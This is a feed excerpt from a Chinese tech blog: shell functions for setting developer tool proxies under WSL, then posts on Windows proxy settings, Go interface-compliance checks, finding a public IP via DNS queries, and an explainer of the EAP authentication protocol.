	# 修改配置文件来设置 SSH 代理
	# 如果是第一次设置，则全新写入
    if ! grep -qF &quot;Host github.com&quot; ~/.ssh/config; then
        echo &quot;Host github.com&quot; &amp;gt;&amp;gt; ~/.ssh/config
    	echo &quot;    HostName ssh.github.com&quot; &amp;gt;&amp;gt; ~/.ssh/config
        echo &quot;    User git&quot; &amp;gt;&amp;gt; ~/.ssh/config
		# 有些 VPS 不支持 SSH 默认的 22 端口号，所以要改成 433。
		echo &quot;    Port 443&quot; &amp;gt;&amp;gt; ~/.ssh/config
        echo &quot;    ProxyCommand nc -X 5 -x ${ssh_proxy} %h %p&quot; &amp;gt;&amp;gt; ~/.ssh/config
	# 如果不是第一次设置，则只在 ProxyCommand 这行替换新的 Windows IP
    else
		# 找到行号
        lino=$(($(awk &apos;/Host github.com/{print NR}&apos;  ~/.ssh/config)+4))
		# 替换 IP
        sed -i &quot;${lino}c\    ProxyCommand nc -X 5 -x ${ssh_proxy} %h %p&quot; ~/.ssh/config
    fi
}

# 取消 Git 代理设置
unset_git_proxy() {
    git config --global --unset http.https://github.com.proxy
	rm ~/.ssh/config
}

# 设置 NPM 代理
set_npm_proxy() {
	npm config set proxy ${http_proxy}
    npm config set https-proxy ${http_proxy}
}

# 取消 npm 代理设置
unset_npm_proxy() {
	npm config delete proxy
    npm config delete https-proxy
}

# 设置 Yarn 代理
set_yarn_proxy() {
    yarn config set proxy ${http_proxy}
    yarn config set https-proxy ${http_proxy}
}

# 取消 Yarn 代理设置
unset_yarn_proxy() {
    yarn config delete proxy
    yarn config delete https-proxy	
}

# 设置 APT 代理
set_apt_proxy() {
    echo &quot;Acquire::http::Proxy \&quot;${http_proxy}\&quot;;&quot; | sudo tee /etc/apt/apt.conf.d/proxy.conf &amp;gt;/dev/null 2&amp;gt;&amp;amp;1
    echo &quot;Acquire::https::Proxy \&quot;${http_proxy}\&quot;;&quot; | sudo tee -a /etc/apt/apt.conf.d/proxy.conf &amp;gt;/dev/null 2&amp;gt;&amp;amp;1
}

# 取消 APT 代理设置
unset_apt_proxy() {
	sudo rm /etc/apt/apt.conf.d/proxy.conf
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;参考链接&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://bytem.io/posts/wsl2-network-tricks/&quot;&gt;WSL2 的一些网络访问问题&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://blog.skk.moe/post/enable-proxy-on-ubuntu/&quot;&gt;Ubuntu「一键」设置代理&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://docs.github.com/cn/authentication/troubleshooting-ssh/using-ssh-over-the-https-port&quot;&gt;在 HTTPS 端口使用 SSH&lt;/a&gt;&lt;/p&gt;
</content:encoded><category>Misc</category></item><item><title>Windows 常见代理设置</title><link>https://www.sulinehk.com/post/windows-common-proxy-settings/</link><guid isPermaLink="true">https://www.sulinehk.com/post/windows-common-proxy-settings/</guid><pubDate>Wed, 16 Sep 2020 14:15:18 GMT</pubDate><content:encoded>&lt;p&gt;因为最近把开发环境换成了 Windows 和 WSL 的组合，而 Windows 下面的代理设置太繁琐，所以写了这篇博客来记录。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;系统代理&lt;/h2&gt;
&lt;p&gt;设置 -&amp;gt; 网络和 Internet -&amp;gt; 代理。勾选使用代理服务器，输入对应的地址即可。&lt;/p&gt;
&lt;h2&gt;Windows Store 下载&lt;/h2&gt;
&lt;p&gt;Windows Store 下载无法直接使用系统代理，这是因为它基于 winhttp，而不是系统代理的 wininet。&lt;/p&gt;
&lt;p&gt;所以需要从系统代理（即，IE）中导入。在命令行中输入：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;netsh winhttp import proxy source=ie
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;或者是手动设置：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;netsh winhttp set proxy localhost:8081
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;系统自动更新&lt;/h2&gt;
&lt;p&gt;系统自动更新跟 Windows Store 下载类似，也需要改为 wininet。&lt;/p&gt;
&lt;h2&gt;UWP 应用程序&lt;/h2&gt;
&lt;p&gt;UWP 应用程序同样无法直接使用系统代理，这是因为 UWP 应用程序默认运行在 AppContainers 独立进程上，它会限制网络流量发送到本地。&lt;/p&gt;
&lt;p&gt;所以需要使用 &lt;a href=&quot;https://telerik-fiddler.s3.amazonaws.com/fiddler/addons/enableloopbackutility.exe&quot;&gt;EnableLoopback Utility&lt;/a&gt; 解除该限制。&lt;/p&gt;
&lt;p&gt;勾选对应的应用，然后点击 Save Changes 即可。&lt;/p&gt;
&lt;h2&gt;参考链接&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/shadowsocks/shadowsocks-windows/issues/1741&quot;&gt;怎么设置win10自动更新走SS？&lt;/a&gt;&lt;/p&gt;
</content:encoded><category>Misc</category></item><item><title>验证 Golang 接口的合规性</title><link>https://www.sulinehk.com/post/verify-golang-interface-compliance/</link><guid isPermaLink="true">https://www.sulinehk.com/post/verify-golang-interface-compliance/</guid><pubDate>Sat, 15 Aug 2020 13:55:18 GMT</pubDate><content:encoded>&lt;p&gt;因为公司的项目经常出现这行代码：&lt;code&gt;var _ Interface = (*Type)(nil)&lt;/code&gt;，所以写了这篇博客来解释它。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;详细说明&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;var _ Interface = (*Type)(nil)&lt;/code&gt; 这段代码在很多项目的源码都有出现过，也是 &lt;a href=&quot;%22https://github.com/uber-go/guide/blob/master/style.md#verify-interface-compliance%22&quot;&gt;Uber Go Style Guide&lt;/a&gt; 推荐的规范。&lt;/p&gt;
&lt;p&gt;简单来说，它的作用是：&lt;strong&gt;检查 &lt;code&gt;TestType&lt;/code&gt; 这个类型，是否实现了 &lt;code&gt;TestInterface&lt;/code&gt; 这个接口，未实现则会出现编译时错误。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;详细解释可以把等号两边分开来看：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Golang 的表达式从右边开始计算，所以先看右边部分：&lt;code&gt;(*TestType)(nil)&lt;/code&gt;。它的意思是，声明一个 &lt;code&gt;nil&lt;/code&gt; 常量，然后转换为 &lt;code&gt;*TestType&lt;/code&gt; 类型。相当于：&lt;code&gt;var testType *TestType = nil&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;再看左边部分：&lt;code&gt;var _ TestInterface&lt;/code&gt;。它的意思是，声明一个接口变量，赋值为右边的表达式，然后把变量丢弃。代码如下：&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;type TestInterface interface {
	Hello()
}

type TestType struct{}

func (t TestType) Hello() {}

var _ TestInterface = (*TestType)(nil)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;注释或删除掉 &lt;code&gt;func (t TestType) Hello() {}&lt;/code&gt; 这行，相当于 TestType 未实现 TestInterface 接口，就会出现编译时错误：&lt;code&gt;Cannot use &apos;(*TestType)(nil)&apos; (type *TestType) as the type TestInterface Type does not implement &apos;TestInterface&apos; as some methods are missing: Hello()&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;另一种比较繁琐，但易于理解的代码如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;type TestInterface interface {
	Hello()
}

type TestType struct{}

func (t TestType) Hello() {}

func TestCompliance(t *testing.T) {
	var testType *TestType = nil
	var testInterface TestInterface
	testInterface = testType
	fmt.Println(testInterface)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;指针形式&lt;/h2&gt;
&lt;p&gt;还有一个问题，为什么右边的类型要用 &lt;strong&gt;指针形式（&lt;code&gt;*TestType&lt;/code&gt;）&lt;/strong&gt; 呢？&lt;/p&gt;
&lt;p&gt;让我们先把它转换成 &lt;strong&gt;非指针形式（&lt;code&gt;TestType&lt;/code&gt;）&lt;/strong&gt; 看看，值也改成对应类型的零值（&lt;code&gt;struct{}{}&lt;/code&gt;）：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;type TestInterface interface {
	Hello()
}

type TestType struct{}

func (t TestType) Hello() {}

var _ TestInterface = (TestType)(struct{}{})
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果把 &lt;code&gt;func (t TestType)&lt;/code&gt; 改成 &lt;code&gt;func (t *TestType)&lt;/code&gt; 同样会出现错误。&lt;/p&gt;
&lt;p&gt;这是因为指针形式与非指针形式不同，拥有的方法不同，实现的接口也不同。&lt;/p&gt;
&lt;p&gt;相比之下，指针形式拥有非指针形式的方法，实现了 &lt;code&gt;*TestType&lt;/code&gt; 接口的值也实现了 &lt;code&gt;TestType&lt;/code&gt; 接口。&lt;/p&gt;
&lt;p&gt;所以指针形式比非指针形式更加通用。&lt;/p&gt;
&lt;h2&gt;参考链接&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://juejin.cn/post/6984060198428573733&quot;&gt;golang-interface(二) 常见问题/底层实现&lt;/a&gt;&lt;/p&gt;
</content:encoded><category>Golang</category></item><item><title>不通过浏览器获取公网 IP</title><link>https://www.sulinehk.com/post/get-public-ip-without-browser/</link><guid isPermaLink="true">https://www.sulinehk.com/post/get-public-ip-without-browser/</guid><description>介绍了如何不通过浏览器获取公网 IP。</description><pubDate>Tue, 14 Jul 2020 10:35:30 GMT</pubDate><content:encoded>&lt;p&gt;本文介绍了如何不通过浏览器获取公网 IP。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;有的时候我们的计算机处于受限状态，不能使用浏览器或者 HTTP 协议。&lt;/p&gt;
&lt;p&gt;也就不能使用类似：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl ifconfig.io
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;之类的命令来获取公网 IP。&lt;/p&gt;
&lt;p&gt;但其实可以不通过浏览器，而是通过 DNS 来获取公网 IP，使用如下命令：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;dig @ns1.google.com TXT o-o.myaddr.l.google.com +short
# 或者：nslookup -type=TXT o-o.myaddr.l.google.com ns1.google.com
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;其它的 DNS 提供商也可以：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# OpenDNS
dig myip.opendns.com @resolver1.opendns.com +short
# 或者：nslookup myip.opendns.com resolver1.opendns.com
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;# Akamai
dig whoami.akamai.net. @ns1-1.akamaitech.net. +short
# 或者：nslookup whoami.akamai.net. ns1-1.akamaitech.net.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这些命令会返回公网 IP 的原理是：&lt;/p&gt;
&lt;p&gt;Google 等公司会编写程序，监听在它们类似 o-o.myaddr.l.google.com 的地址上。&lt;/p&gt;
&lt;p&gt;只要有请求，就会将请求的源 IP 地址作为数据直接返回。&lt;/p&gt;
</content:encoded><category>Misc</category></item><item><title>EAP 详解</title><link>https://www.sulinehk.com/post/eap-details/</link><guid isPermaLink="true">https://www.sulinehk.com/post/eap-details/</guid><description>详细介绍了跟 EAP 有关的知识点。</description><pubDate>Tue, 19 Nov 2019 20:27:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;strong&gt;EAP，即扩展认证协议（Extensible Authentication Protocol）&lt;/strong&gt;，由 &lt;a href=&quot;https://tools.ietf.org/html/rfc3748&quot;&gt;RFC 3748&lt;/a&gt; 定义，是一个在网络中经常使用的身份验证框架，并在 WiFi（IEEE 802.11）下的 WPA 和 WPA2 标准中作为规范认证机制。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;出现原因&lt;/h2&gt;
&lt;p&gt;在 RADIUS 中，NAS 作为中间人需要了解 PC 客户端和 AAA 服务器之间的各种认证方式。&lt;/p&gt;
&lt;p&gt;比如说，在使用 PAP 时，它就需要知道如何组织 User-Password 属性；在使用 CHAP 时，它就需要知道如何组织 CHAP-Password 和 CHAP-Challenge 属性。&lt;/p&gt;
&lt;p&gt;在这种背景下，一旦要支持新的认证方式，那么参与认证的三方都需要进行修改和支持，这其中作为发起者的 PC 客户端和作为认证结束端的 AAA 服务器是必须进行修改的。&lt;/p&gt;
&lt;p&gt;如果有一种协议能让作为中间人的 NAS 透明的转发 PC 和 AAA 之间的数据包，这样 NAS 就可以不进行修改。&lt;/p&gt;
&lt;p&gt;基于以上考虑，EAP 应运而生。&lt;/p&gt;
&lt;h2&gt;架构&lt;/h2&gt;
&lt;p&gt;EAP 身份验证架构主要包含三个组件：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;请求方（PC）&lt;/li&gt;
&lt;li&gt;身份验证器（NAS）&lt;/li&gt;
&lt;li&gt;身份验证服务器（AAA）&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;具体架构如下图所示：&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;EAP 的交换过程例子如下图所示：&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;包格式&lt;/h2&gt;
&lt;p&gt;EAP 的基础包格式如下表所示：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Code&lt;/th&gt;
&lt;th&gt;Identifier&lt;/th&gt;
&lt;th&gt;Length&lt;/th&gt;
&lt;th&gt;Data&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1 byte&lt;/td&gt;
&lt;td&gt;1 byte&lt;/td&gt;
&lt;td&gt;2 bytes&lt;/td&gt;
&lt;td&gt;variable length&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;其中 Code 的分配如下表所示：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Code&lt;/th&gt;
&lt;th&gt;Assignment&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;Request&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;Response&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;Success&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;Failure&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;Initiate&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;6&lt;/td&gt;
&lt;td&gt;Finish&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;EAP 的 Request 和 Response 包格式如下表所示：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Code&lt;/th&gt;
&lt;th&gt;Identifier&lt;/th&gt;
&lt;th&gt;Length&lt;/th&gt;
&lt;th&gt;Type&lt;/th&gt;
&lt;th&gt;Type-Data&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1 byte&lt;/td&gt;
&lt;td&gt;1 byte&lt;/td&gt;
&lt;td&gt;2 bytes&lt;/td&gt;
&lt;td&gt;1 byte&lt;/td&gt;
&lt;td&gt;variable length&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;EAP 的 Success 和 Failure 包格式如下表所示：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Code&lt;/th&gt;
&lt;th&gt;Identifier&lt;/th&gt;
&lt;th&gt;Length&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1 byte&lt;/td&gt;
&lt;td&gt;1 byte&lt;/td&gt;
&lt;td&gt;2 bytes&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;其中部分 Type 分配如下表所示：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Type&lt;/th&gt;
&lt;th&gt;Assignment&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;td&gt;Reserved&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;Identify&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;Notification&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;NAK (Response Only)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;MD5-Challenge&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;OTP, One Time Password&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;6&lt;/td&gt;
&lt;td&gt;GTC, Generic Token Card&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;...&lt;/td&gt;
&lt;td&gt;...&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;其余分配见：&lt;a href=&quot;https://www.vocal.com/secure-communication/eap-types/&quot;&gt;EAP Types – Extensible Authentication Protocol Types information&lt;/a&gt;。&lt;/p&gt;
&lt;h2&gt;封装&lt;/h2&gt;
&lt;p&gt;EAP 一般运行在数据链路层上，作为一种身份验证框架，而不是一种特定的身份验证机制，它为扩展和协商认证协议提供了一个标准，是为了承载多种认证协议而生的。&lt;/p&gt;
&lt;p&gt;所以每个使用 EAP 的协议都定义了一种将用户 EAP 消息封装到该协议的消息中的方法。&lt;/p&gt;
&lt;p&gt;PPP：EAP 最初是 PPP 的身份验证扩展。自从 EAP 被创建为 CHAP 和 PAP 的替代产品以来，PPP 就一直支持着 EAP。在 PPP 中的 EAP 由 &lt;a href=&quot;https://tools.ietf.org/html/rfc3748&quot;&gt;RFC 3748&lt;/a&gt; 定义。&lt;/p&gt;
&lt;p&gt;IEEE 802.1X：EAPoL（EAP over LAN）即 IEEE 802 的 EAP 封装，在 IEEE 802.1X 中定义。&lt;/p&gt;
&lt;p&gt;RADIUS：像 RADIUS 这种 AAA 协议也可以封装 EAP 消息。NAS 设备经常使用它们在 IEEE 802.1X 端点和 AAA 服务器之间转发 EAP 数据包，以促进 IEEE 802.1X。&lt;/p&gt;
&lt;h2&gt;EAPoL&lt;/h2&gt;
&lt;p&gt;在 PC 和 NAS 之间，EAP 报文使用 EAPoL（EAP over LAN）封装格式，直接承载于 LAN 环境中。&lt;/p&gt;
&lt;p&gt;在 NAS 和 AAA 之间，EAP 报文可以使用 EAPoR（EAP over RADIUS）封装格式，承载于 RADIUS 协议中；也可以由 NAS 终结转换，直接在 PC 与 AAA 之间传送 PAP 报文或 CHAP 等报文。&lt;/p&gt;
&lt;p&gt;EAP 上承载的认证协议对 NAS 来说是透明的，NAS 不需要了解，也不需要支持，它只需要支持 EAP 即可。&lt;/p&gt;
&lt;p&gt;EAPoL 是一种 EAP 在 LAN 上运行的简单封装。在有线环境下，共有三个组件：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;请求方（访问网络资源的 PAE）&lt;/li&gt;
&lt;li&gt;身份验证器（控制网络访问的 PAE）&lt;/li&gt;
&lt;li&gt;身份验证服务器（RADIUS/AAA）&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;EAPoL 的具体架构如下图所示：&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;EAPoL 的帧格式如下表所示：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;MAC Header&lt;/th&gt;
&lt;th&gt;Ethernet Type&lt;/th&gt;
&lt;th&gt;Version&lt;/th&gt;
&lt;th&gt;Packet Type&lt;/th&gt;
&lt;th&gt;Packet Body Length&lt;/th&gt;
&lt;th&gt;Packet Body&lt;/th&gt;
&lt;th&gt;FCS&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;12 bytes&lt;/td&gt;
&lt;td&gt;2 bytes&lt;/td&gt;
&lt;td&gt;1 byte&lt;/td&gt;
&lt;td&gt;1 byte&lt;/td&gt;
&lt;td&gt;2 bytes&lt;/td&gt;
&lt;td&gt;variable length&lt;/td&gt;
&lt;td&gt;4 bytes&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;ul&gt;
&lt;li&gt;MAC Header 表示 MAC 地址，前 6 个字节是目标地址，后 6 个字节是源地址。&lt;/li&gt;
&lt;li&gt;Ethernet Type 表示类型代码，分配给 EAPoL 的是 0x888e。&lt;/li&gt;
&lt;li&gt;Version 表示 802.1X 版本。&lt;/li&gt;
&lt;li&gt;Packet Type 表示帧的类型，分配如下表所示：&lt;/li&gt;
&lt;/ul&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Packet Type&lt;/th&gt;
&lt;th&gt;Assignment&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;td&gt;EAP-Packet&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;EAPOL-Start&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;EAPOL-Logoff&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;EAPOL-Key&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;EAPOL-Encapsulated-ASF-Alert&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;EAPoL 的交换过程例子如下图所示：&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;认证机制&lt;/h2&gt;
&lt;p&gt;EAP 一般运行在数据链路层上，可以直接运行于 PPP 或者 IEEE 802 之上，而不必依赖于 IP。在有线局域网和无线局域网中都可使用。&lt;/p&gt;
&lt;p&gt;EAP 支持重传机制，但依赖于底层保证报文的有序传输，也就是说不支持乱序报文的接收。协议本身不支持分片与重组，当一些 EAP 认证方法需要传输大于 MTU 的数据包时，需要认证方法自身处理分片与重组。&lt;/p&gt;
&lt;p&gt;EAP 提供了一些常用功能和被称为 EAP 方法的身份验证机制。当前定义了约 40 种不同的方法。RFC 中定义的方法包括 EAP-MD5、EAP-TLS、EAP-TTLS、EAP-FAST、EAP-SIM 等，这其中的大部分方法都可以在 WiFi 中使用。&lt;/p&gt;
&lt;p&gt;此外，还存在许多特定于供应商的方法和建议。&lt;/p&gt;
&lt;h3&gt;EAP-MD5&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;EAP-MD5&lt;/strong&gt; 由 &lt;a href=&quot;https://tools.ietf.org/html/rfc2284&quot;&gt;RFC 2284&lt;/a&gt; 定义，是标准中第一个定义的 EAP 方法，只提供最小的安全性。&lt;/p&gt;
&lt;p&gt;由于 MD5 散列函数容易受到字典攻击，并且不支持密钥生成，这使得它不能被动态 WEP 和 WPA/WPA2 Enterprise 使用。&lt;/p&gt;
&lt;p&gt;EAP-MD5 与其他 EAP 方法的不同之处在于，它仅向 EAP 服务器提供对方的身份验证，而不能提供相互身份验证，所以 EAP-MD5 容易受到中间人攻击。&lt;/p&gt;
&lt;h3&gt;LEAP&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;LEAP（Lightweight Extensible Authentication Protocol）&lt;/strong&gt; 是一个 Cisco 开发的专用认证方法。&lt;/p&gt;
&lt;p&gt;它本质上就是一个增加了动态 WEP 密钥和互验证（在客户端和 RADIUS 服务器之间）功能的 EAP-MD5。&lt;/p&gt;
&lt;p&gt;动态 WEP 密钥意为：LEAP 允许客户端频繁地重新认证，所以在每次成功的身份验证后，客户端将获得一个新的 WEP 密钥，由此来希望该 WEP 密钥的寿命不足以被破解。&lt;/p&gt;
&lt;p&gt;由于 EAP-MD5 最初并不是针对一个不受信的无线网络环境设计的，而是针对一个拥有一定物理安全的有线网络环境设计的，所以 LEAP 不适合用于无线局域网身份验证。&lt;/p&gt;
&lt;p&gt;LEAP 本身的安全也很薄弱，无法抵御离线的字典攻击，因为它只是单纯的依靠 MS-CHAPv2 来保护用于无线局域网身份验证的用户证书。&lt;/p&gt;
&lt;p&gt;由于 MS-CHAPv2 并没有在 NT Hash 中加盐，而是采用了两个字节的 DES 密钥，而且用户名使用明文传输，所以离线的字典攻击或者类似的暴力破解可以使用一个巨大的字典库对该系统进行有效的破解。&lt;/p&gt;
&lt;h3&gt;EAP-TLS&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;EAP-TLS（EAP Transport Layer Security）&lt;/strong&gt; 由 &lt;a href=&quot;https://tools.ietf.org/html/rfc5216&quot;&gt;RFC 5216&lt;/a&gt; 定义，是一个基于 TLS 协议的 EAP 方法，在供应商中有着良好的支持，截止至 2005 年 4 月，EAP－TLS 是供应商唯一需要保证实现的 WPA 和 WPA2 的 EAP 方法。&lt;/p&gt;
&lt;p&gt;TLS 认证基于互验证，即客户端和服务器双方互相验证数字证书。&lt;/p&gt;
&lt;p&gt;服务器提供自己的证书给客户端，客户端验证服务器证书通过后再提交自己的数字证书给服务器，所以一个脆弱的密码并不会导致基于 EAP-TLS 的系统遭到入侵，因为攻击者仍然需要客户端的证书。&lt;/p&gt;
&lt;p&gt;客户端证书的要求使得 EAP-TLS 仍然被认为是可用的最安全的 EAP 标准之一。&lt;/p&gt;
&lt;p&gt;可用的最高安全实践是将客户端证书的私钥放在智能卡中时，所以如果不窃取智能卡本身，就无法从智能卡窃取客户端证书的对应私钥。&lt;/p&gt;
&lt;p&gt;与常见的密码盗窃相比，智能卡的物理盗窃更有可能被注意到，而且还能随时吊销智能卡。&lt;/p&gt;
&lt;p&gt;此外，智能卡上的私钥通常使用仅智能卡所有者知道的 PIN 码进行加密，这样在智能卡被盗和发现并吊销的这段时间里，也能最大程度的防止被冒用。&lt;/p&gt;
&lt;p&gt;EAP-TLS 的安全等级之所以如此之高，是因为它在传统的便利性与安全性之间选择了安全性。&lt;/p&gt;
&lt;p&gt;TLS 基于的 PKI 证书体系，即是 TLS 的安全基础，也是 TLS 的缺点，这是因为 PKI 十分庞大和复杂。如果企业中原本没有部署 PKI 系统，那么单纯地为了这个认证方法而部署 PKI 则不是很合适。&lt;/p&gt;
&lt;p&gt;EAP-TLS 的缺点还有客户端在认证时的负载较高和证书管理困难等。&lt;/p&gt;
&lt;h3&gt;EAP-TTLS&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;EAP-TTLS（EAP Tunneled Transport Layer Security）&lt;/strong&gt; 由 Funk Software 和 Certicom 共同开发，并在各个平台上得到广泛支持，是一个基于隧道 TLS 的 EAP 方法。&lt;/p&gt;
&lt;p&gt;它有两个版本，分别是 EAP-TTLSv0 和 EAP-TTLSv1，分别由 &lt;a href=&quot;https://tools.ietf.org/html/rfc5281&quot;&gt;RFC 5281&lt;/a&gt; 和 &lt;a href=&quot;https://tools.ietf.org/html/draft-funk-eap-ttls-v1-01&quot;&gt;draft-funk-eap-ttls-v1-01&lt;/a&gt; 定义。&lt;/p&gt;
&lt;p&gt;为了解决 EAP-TLS 需要部署 PKI 系统的缺点，所以出现了 EAP-TTLS 方法，这样就不用建立 PKI 系统，而是直接在 TLS 隧道内部使用原有的认证方法，这样即保证了安全性，也减小了复杂度。&lt;/p&gt;
&lt;p&gt;EAP-TTLS 是典型的两段式认证，第一阶段时建立 TLS 安全隧道，通过服务器发送证书给客户端实现认证，该阶段虽然也使用证书，但都是服务器证书，管理起来比 EAP-TLS 的客户端证书要简单。当安全隧道建立后，再开始第二阶段，也就是协商认证方法，对客户端进行认证。&lt;/p&gt;
&lt;p&gt;客户端可以但不必通过 CA 签名的 PKI 证书对服务器进行身份验证。由于不需要在每个客户端上使用证书，因此可以大大简化设置过程。&lt;/p&gt;
&lt;p&gt;EAP-TTLS 可以使用现有的且广泛部署的身份验证协议和基础结构，并结合了旧的密码机制和身份验证数据库，而安全隧道则提供了防止窃听和中间人攻击的保护。用户名也不会以未加密的明文形式传输，从而提高了隐私性。&lt;/p&gt;
&lt;h3&gt;PEAP&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;PEAP（Protected Extensible Authentication Protocol）&lt;/strong&gt;，是一种把 EAP 封装到 TLS 隧道中的协议。&lt;/p&gt;
